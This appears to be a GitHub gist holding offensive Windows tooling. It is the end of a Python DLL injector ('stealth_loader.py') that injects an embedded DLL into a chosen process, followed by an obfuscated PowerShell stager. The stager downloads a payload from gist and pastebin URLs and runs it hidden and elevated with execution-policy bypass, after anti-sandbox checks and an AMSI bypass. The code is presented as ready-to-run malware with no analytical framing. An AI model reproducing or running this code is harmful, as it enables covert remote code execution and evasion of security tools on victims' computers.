remote_mem = kernel32.VirtualAllocEx(h_process, None, size, 0x3000, 0x04)
if not remote_mem:
raise ctypes.WinError()
written = ctypes.c_size_t(0)
kernel32.WriteProcessMemory(h_process, remote_mem, path_bytes, size, ctypes.byref(written))
h_kernel32 = kernel32.GetModuleHandleW("kernel32.dll")
# loadlib_addr = kernel32.GetProcAddress(h_kernel32, b"LoadLibraryA")
loadlib_addr = kernel32.GetProcAddress(h_kernel32, b"LoadLibraryW")
h_thread = ctypes.c_void_p(0)
status = ntdll.NtCreateThreadEx(
ctypes.byref(h_thread), 0x1FFFFF, None, h_process,
loadlib_addr, remote_mem, 0, 0, 0, 0, None
)
if status == 0:
print(f"[+] stealth_injector.dll successfully injected into PID {pid}")
kernel32.WaitForSingleObject(h_thread, 10000)
else:
print(f"[-] NtCreateThreadEx failed (0x{status:08X}), trying CreateRemoteThread...")
h_thread_fallback = kernel32.CreateRemoteThread(h_process, None, 0, loadlib_addr, remote_mem, 0, None)
if h_thread_fallback:
print(f"[+] CreateRemoteThread succeeded")
kernel32.WaitForSingleObject(h_thread_fallback, 10000)
kernel32.CloseHandle(h_thread_fallback)
else:
print(f"[-] CreateRemoteThread also failed")
finally:
kernel32.CloseHandle(h_process)
if 'h_thread' in locals() and h_thread and h_thread.value:
kernel32.CloseHandle(h_thread)
# ====================== MAIN ======================
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python stealth_loader.py <target_process>")
print("Example: python stealth_loader.py explorer.exe")
sys.exit(1)
target = sys.argv[1]
try:
dll_bytes = get_dll_bytes()
print(f"[+] Loaded embedded DLL: {len(dll_bytes):,} bytes")
# Создаём временный файл
fd, dll_path = tempfile.mkstemp(suffix='.dll')
os.close(fd)
with open(dll_path, "wb") as f:
f.write(dll_bytes)
pid = get_pid_by_name(target)
print(f"[+] Found {target} → PID: {pid}")
inject_dll(pid, dll_path)
# Удаляем временный файл
try:
os.remove(dll_path)
except:
pass
except Exception as e:
print(f"[-] Error: {e}")
# Stealth Stager - Obfuscated
$ErrorActionPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'
function Invoke-StealthLoad {
param([string]$Target = "explorer.exe")
$urls = @(
"https://gist.githubusercontent.com/santaklouse/b0cd38ef346622db4b563ebf51d803d4/raw/d2839e73f3f4f96ddf8132690821b959eb50e6e8/stealth_loader.py",
"https://pastebin.com/raw/V05ydb7K" # backup URL
)
foreach ($u in $urls) {
try {
$data = (New-Object Net.WebClient).DownloadString($u)
if ($data.Length -gt 1000) {
$tmp = "$env:TEMP\update.ps1"
$data | Out-File -FilePath $tmp -Encoding UTF8
Write-Host "[+] Payload loaded" -ForegroundColor Green
Start-Process powershell -ArgumentList "-NoP -NonI -W Hidden -Exec Bypass -File `"$tmp`" $Target" -Verb RunAs -WindowStyle Hidden
return
}
} catch {}
}
Write-Host "[-] Failed to load payload" -ForegroundColor Red
}
# Anti-Sandbox / Anti-Analysis
if ([System.Environment]::MachineName.Length -lt 6 -or
(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory -lt 2GB) {
exit
}
# AMSI Bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Запуск
Invoke-StealthLoad -Target $args[0]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment